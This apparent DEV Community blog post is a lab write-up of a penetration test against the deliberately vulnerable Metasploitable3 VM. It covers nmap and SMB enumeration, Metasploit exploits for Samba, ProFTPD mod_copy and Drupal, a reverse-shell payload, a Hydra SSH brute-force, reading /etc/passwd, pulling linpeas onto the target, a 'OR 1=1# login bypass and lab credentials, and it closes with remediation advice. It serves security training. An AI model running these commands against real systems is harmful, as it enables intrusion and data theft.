DEV Community

Cover image for Penetration Testing Project Report (Metasploitable3)
Mohammad ali
Mohammad ali

Posted on

Penetration Testing Project Report (Metasploitable3)

#ai #webdev #tutorial #opensource

Phase 1: Setup and Target Discovery

  • Step Description:
  • Managing and running virtual machines via VirtualBox, specifically starting the Metasploitable3-ub1404 system and the kali attacking machine.
  • Verifying the IP addresses of the target machine (such as 10.0.2.15) via the command line interface to ensure connection readiness and begin the penetration testing lifecycle.

Phase 2: Initial Port Scanning

  • Step Description:
  • Performing a comprehensive scan of ports and services running on the target machine using the nmap tool along with version detection scripts (-sV -sC).

  • The scan results showed several open ports including FTP (port 21), SSH (port 22), HTTP (port 80), and SMB (port 445).

  • Command Used:

nmap -sV -sC 10.0.2.15
Enter fullscreen mode Exit fullscreen mode

Phase 3: Enumeration

  • Step Description:
  • Targeting discovered services to inspect file sharing and identify the version and data related to the network and shared directories using enumeration tools (such as enum4linux).

  • Running the enumeration tool against the target address to gather as much system information and available shares as possible.

  • Command Used:

enum4linux -a 10.0.2.15
Enter fullscreen mode Exit fullscreen mode

Phase 4: Web Enumeration and Service Browsing

  • Step Description:
  • Moving to examine and browse web services running via the browser.
  • Browsing the web server's root directory (Index of /), which revealed several sensitive folders and applications such as chat/, drupal/, payroll_app.php, and phpmyadmin/.

...............................................................

Port 445 (SMB / Samba) - Penetration Testing & Exploitation Report

1. Initial Samba Host Script Enumeration

  • Step Description: Executed Nmap host scripts targeting port 445 to retrieve SMB details, revealing the operating system version (Windows 6.1 (Samba 4.3.11-Ubuntu)), computer name, NetBIOS settings, and security mode configurations.

2. Vulnerability Search via Searchsploit

  • Step Description: Used searchsploit to look for known exploits matching the discovered Samba version (Samba 4.3.11), identifying potential exploit paths such as the arbitrary module load vulnerability.
  • Command Used: 
searchsploit samba 4.3.11
Enter fullscreen mode Exit fullscreen mode

3. Enumerating SMB Shares via Smbclient

  • Step Description: Ran smbclient with null/guest authentication (-N) to list available shared resources on the target, exposing shares like print$, public, and IPC$.
  • Command Used: 
smbclient -L 10.0.2.15 -N
Enter fullscreen mode Exit fullscreen mode

4. Searching for Samba Exploits in Metasploit

  • Step Description: Initialized the Metasploit Framework (msfconsole) and searched for available modules related to samba to find applicable exploit vectors.
  • Command Used: 
msf6 > search samba
Enter fullscreen mode Exit fullscreen mode

5. Configuring and Running the Samba Exploit Module

  • Step Description: Selected the multi/samba/usermap_script exploit module (use 15), inspected its options via show options, configured the target host (rhosts 10.0.2.15) and target port (rport 445), and executed the module to attempt session creation.
  • Commands Used: 
msf6 > use 15
msf6 exploit(multi/samba/usermap_script) > show options
msf6 exploit(multi/samba/usermap_script) > set rhosts 10.0.2.15
msf6 exploit(multi/samba/usermap_script) > set rport 445
msf6 exploit(multi/samba/usermap_script) > run
Enter fullscreen mode Exit fullscreen mode


...............................................................

Penetration Testing & Exploitation Report: FTP Service (Port 21) on Metasploitable3

1. Port Scan & Vulnerability Enumeration

  • Nmap Port Scan: Executed a vulnerability scan script (--script vuln) targeting port 21 on the target 10.0.2.15 to check the service state. 
nmap --script vuln -p 21 10.0.2.15
Enter fullscreen mode Exit fullscreen mode

  • Interactive FTP Connection Attempt: Connected to the FTP service interactively to verify the version (ProFTPD 1.3.5) and test anonymous login, which resulted in a login failure. 
ftp 10.0.2.15
Enter fullscreen mode Exit fullscreen mode

2. Exploit Search & Metasploit Configuration

  • Searching for Exploits via Searchsploit: Used searchsploit to look for known vulnerabilities matching ProFTPD 1.3.5, identifying mod_copy command execution vectors. 
searchsploit proftpd 1.3.5
Enter fullscreen mode Exit fullscreen mode

  • Searching Modules in Metasploit: Initialized Metasploit (msfconsole) to search for the ProFTPD mod_copy exploit module. 
msfconsole --> search proftpd 1.3.5
Enter fullscreen mode Exit fullscreen mode

  • Configuring Target Host (RHOSTS): Selected the exploit module and set the remote target IP address to 10.0.2.15. 
use exploit/unix/ftp/proftpd_modcopy_exec
Enter fullscreen mode Exit fullscreen mode 
set rhosts 10.0.2.15
Enter fullscreen mode Exit fullscreen mode

  • Configuring Site Path (SITEPATH): Set the absolute writable website path option for the payload delivery. 
set SITEPATH /var/www/html
Enter fullscreen mode Exit fullscreen mode

  • Configuring the Reverse Payload: Selected and configured the reverse shell payload (cmd/unix/reverse_perl) for the exploit. 
set PAYLOAD payload/cmd/unix/reverse_perl
Enter fullscreen mode Exit fullscreen mode

3. Exploit Execution & Initial Access

  • Executing the Exploit Module: Ran the configured exploit, which successfully handled the reverse TCP connection, executed the PHP payload, and opened an interactive command shell session as www-data. 
run
Enter fullscreen mode Exit fullscreen mode

  • Inspecting System Password File: Read /etc/passwd within the shell session to inspect existing user accounts and home directories. 
cat /etc/passwd
Enter fullscreen mode Exit fullscreen mode

  • Filtering System User Accounts: Filtered the password file entries by home directories to list active system user usernames. 
cat /etc/passwd | grep home | cut -d ":" -f 1
Enter fullscreen mode Exit fullscreen mode

4. Post-Exploitation Enumeration & LinPEAS Setup

  • Locating and Preparing LinPEAS: Navigated to the PEASS suite directory on the attacker machine and prepared the local Python HTTP server. 
cd /usr/share/peass/linpeas
Enter fullscreen mode Exit fullscreen mode 
python3 -m http.server 9000
Enter fullscreen mode Exit fullscreen mode

  • Downloading and Running LinPEAS on the Target: Downloaded linpeas.sh onto the target system's /tmp directory via wget, applied executable permissions, and ran the script. 
cd /tmp
Enter fullscreen mode Exit fullscreen mode 
wget 10.0.2.4:9000/linpeas.sh
Enter fullscreen mode Exit fullscreen mode 
chmod +x linpeas.sh
Enter fullscreen mode Exit fullscreen mode 
./linpeas.sh
Enter fullscreen mode Exit fullscreen mode

5. Web Services & Application Reconnaissance

  • Browsing Root Web Directory: Accessed the target's web server index via browser (10.0.2.15) to uncover hosted directories like chat, drupal, phpmyadmin, and payroll_app.php. 
URL : http://10.0.2.15/
Enter fullscreen mode Exit fullscreen mode

  • Opening the Drupal Application: Navigated to the deployed Drupal web application instance to check configuration warnings and login panels. 
URL : http://10.0.2.15/drupal
Enter fullscreen mode Exit fullscreen mode

  • Analyzing Drupal Configuration Files: Inspected the database connection parameters and security salts found within the Drupal application configuration files.


...............................................................

Penetration Testing & Exploitation Report: SSH Service (Port 22) on Metasploitable3

1. Custom Wordlist Generation via CeWL

  • Generating a Custom Password Wordlist from Project Wiki: Used the cewl tool to scrape and generate a custom wordlist from the Metasploitable3 GitHub wiki page, setting a minimum word length of 7 and outputting it to cew.txt. 
cewl https://github.com/rapid7/metasploitable3/wiki -m 7 -d 0 -w /home/kali/cew.txt`
Enter fullscreen mode Exit fullscreen mode

2. User Enumeration Preparation

  • Creating the Usernames List (user.txt): Prepared a target user list containing potential usernames (such as system accounts and Star Wars themed accounts like vagrant, leia_organa, luke_skywalker, etc.) for brute-force enumeration.

3. Credential Brute-Forcing via Hydra

  • Running Hydra against SSH Service: Executed a password-guessing attack against the SSH service on port 22 using the generated username list (user.txt) and the custom password wordlist (cew.txt), successfully cracking the credentials (vagrant:vagrant). 
hydra -L user.txt -P cew.txt 10.0.2.15 ssh -t 10
Enter fullscreen mode Exit fullscreen mode

4. SSH Access and Interactive Shell

  • Establishing an SSH Connection: Logged into the target system via SSH using the cracked credentials (vagrant@10.0.2.15), successfully obtaining an interactive terminal session on the Ubuntu 14.04.6 LTS machine. 
ssh vagrant@10.0.2.15
Enter fullscreen mode Exit fullscreen mode

username : vagrant
password : vagrant

...............................................................

Penetration Testing & Exploitation Report: HTTP Services on Port 80 (Metasploitable3)

1. Reconnaissance and Service Enumeration

  • Nmap Web Enumeration Scan: Executed an Nmap service version and script scan targeting port 80 to detect web technologies and list default or interesting directories. 
nmap --script http-enum -sV -p80 10.0.2.15
Enter fullscreen mode Exit fullscreen mode

  • Gobuster Directory Brute-Forcing: Ran Gobuster with a directory wordlist to discover hidden folders and endpoints hosted on the target web server. 
gobuster dir -u http://10.0.2.15 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
Enter fullscreen mode Exit fullscreen mode

  • Initializing Metasploit Framework: Launched the Metasploit console to search and prepare exploits against discovered web applications. 
msfconsole
Enter fullscreen mode Exit fullscreen mode

2. Web Application Discovery & Drupal Analysis

  • Browsing Root Web Directory: Accessed the target's web server index via browser to view exposed files and directories such as chat, drupal, payroll_app.php, and phpmyadmin. URL: http://10.0.2.15/

  • Wappalyzer Technology Identification: Inspected the web stack of the /drupal/ application, confirming it runs Drupal 7 alongside PHP 5.4.5 and Apache. URL: http://10.0.2.15/drupal/

  • Inspecting Drupal Interface: Viewed the Drupal home page and user login portal showing configuration warnings and login fields. URL: http://10.0.2.15/drupal/

3. Drupal Exploitation

  • Searching Drupal Exploits: Searched for available Drupal 7 exploitation modules within Metasploit. 
search drupal 7
Enter fullscreen mode Exit fullscreen mode

  • Configuring and Executing Drupal Exploit: Selected the appropriate Drupal module (exploit/unix/webapp/drupal_coder_exec), configured the target options (rhosts and targeturi), and executed the exploit to successfully open a command shell session as www-data. 
use 0
Enter fullscreen mode Exit fullscreen mode 
set rhosts 10.0.2.15
Enter fullscreen mode Exit fullscreen mode 
set targeturi drupal
Enter fullscreen mode Exit fullscreen mode 
run
Enter fullscreen mode Exit fullscreen mode 


python3 -c 'import pty; pty.spawn("/bin/bash")'
Enter fullscreen mode Exit fullscreen mode 
cd /home
Enter fullscreen mode Exit fullscreen mode 
pwd
Enter fullscreen mode Exit fullscreen mode

4. Payroll Application SQL Injection

  • Testing SQL Injection Payload: Navigated to the payroll application interface and inserted a basic SQL injection payload ('OR 1=1#) into the user field. URL: http://10.0.2.15/payroll_app.php

  • Bypassing Authentication: Successfully bypassed authentication via the injection payload, dumping the complete employee salary table with usernames, first names, last names, and salaries.

5. Database & phpMyAdmin Reconnaissance

  • Navigating to phpMyAdmin Directory: Inspected the phpmyadmin folder from the root index of the web server. URL: http://10.0.2.15/phpmyadmin/

  • Extracting Database Credentials: Analyzed configuration files to retrieve database credentials (root:sploitme) for database access and authentication.

  • Accessing phpMyAdmin Interface: Opened the phpMyAdmin login page to review database structures and configurations. URL: http://10.0.2.15/phpmyadmin/

..............................................................................................................................
Conclusion
This project highlights the practical application of penetration testing and vulnerability assessment methodologies within the Metasploitable3 environment. Through comprehensive reconnaissance and service enumeration across ports such as SSH (Port 22) and HTTP (Port 80), various security flaws and misconfigurations were identified and successfully exploited to gain unauthorized access and retrieve sensitive data.

Key Takeaways & Remediation Recommendations:
Software Patching: Regularly apply security patches and updates to eliminate known vulnerabilities in content management systems like Drupal and underlying web services.

Credential Management: Avoid default or weak passwords and enforce strict password policies to prevent brute-force attacks against services like SSH.

Web Application & Database Security: Implement robust input validation and parameterized queries to defend against vulnerabilities such as SQL Injection (SQL Injection) and safeguard critical database resources.

Understanding these attack vectors and exploitation techniques is essential for strengthening defensive security posture (Blue Teaming) and building effective defenses against real-world cyber threats.

Top comments (0)